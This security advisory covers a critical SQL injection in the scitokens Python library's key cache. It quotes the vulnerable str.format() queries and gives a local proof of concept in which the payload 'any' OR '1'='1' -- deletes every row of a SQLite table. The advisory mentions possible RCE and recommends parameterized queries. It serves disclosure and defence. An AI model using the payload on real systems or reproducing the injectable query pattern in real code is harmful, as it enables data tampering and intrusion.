PT-2026-53599 · Pypi · Scitokens

Publicado

2026-06-29

·

Atualizado

2026-06-29

CVSS v3.1

9.8

Crítica

VetorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.
Ran the POC below locally.

Details

File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):
python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key id = '{}'".format(issuer, key id))
2. In addkeyinfo (around lines 89 and 94):
python
insert key statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key id}', 
            '{keydata}', '{next update}')"
# ...
curs.execute(insert key statement.format(issuer=issuer, expiration=time.time()+cache timer, key id=key id,
                     keydata=json.dumps(keydata), next update=time.time()+next update))
3. In delete cache entry (around line 128):
python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key id = '{}'".format(issuer,
      key id))
4. In add negative cache entry (around lines 148 and 152):
python
insert key statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key id}', 
          '{keydata}', '{next update}')"
# ...
curs.execute(insert key statement.format(issuer=issuer, expiration=time.time()+cache retry interval, key id=key id,
                    keydata=keydata, next update=time.time()+cache retry interval))
5. In getkeyinfo (around lines 193 and 198):
python
key query = ("SELECT * FROM keycache WHERE "
       "issuer = '{issuer}'")
# ...
 curs.execute(key query.format(issuer=issuer, key id=key id))

PoC

import sqlite3
import os
import sys
import tempfile
import shutil
import time
import json
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default backend
from cryptography.hazmat.primitives import serialization

def poc sql injection():
 print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")
 
 # We will demonstrate the vulnerability by manually executing the kind of query
 # that WAS present in the code, showing how it can be exploited.
 
 # Setup temporary database
 fd, db path = tempfile.mkstemp()
 os.close(fd)
 
 conn = sqlite3.connect(db path)
 curs = conn.cursor()
 curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key id text, keydata text, next update integer, PRIMARY KEY (issuer, key id))")
 
 # Add legitimate entries
 curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
 curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
 conn.commit()
 
 curs.execute(" SELECT count(*) FROM keycache")
 print(f"Count before injection: {curs.fetchone()[0]}")
 
 # MALICIOUS INPUT
 # The original code was: 
 # curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key id = '{}'".format(issuer, key id))
 
 malicious issuer = "any' OR '1'='1' --"
 malicious kid = "irrelevant"
 
 print(f"Simulating injection with issuer: {malicious issuer}")
 
 # This simulates what the VULNERABLE code did:
 query = "DELETE FROM keycache WHERE issuer = '{}' AND key id = '{}'".format(malicious issuer, malicious kid)
 print(f"Generated query: {query}")
 
 curs.execute(query)
 conn.commit()
 
 curs.execute("SELECT count(*) FROM keycache")
 count = curs.fetchone()[0]
 print(f"Count after injection: {count}")
 
 if count == 0:
   print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")
 
 conn.close()
 os.remove(db path)

if  name  == " main ":
 poc sql injection()

Impact

An attacker who can influence the issuer or key id (e.g., through a malicious token or issuer endpoint) could:
  1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys.
  2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions.
  3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-530

Produtos afetados

Scitokens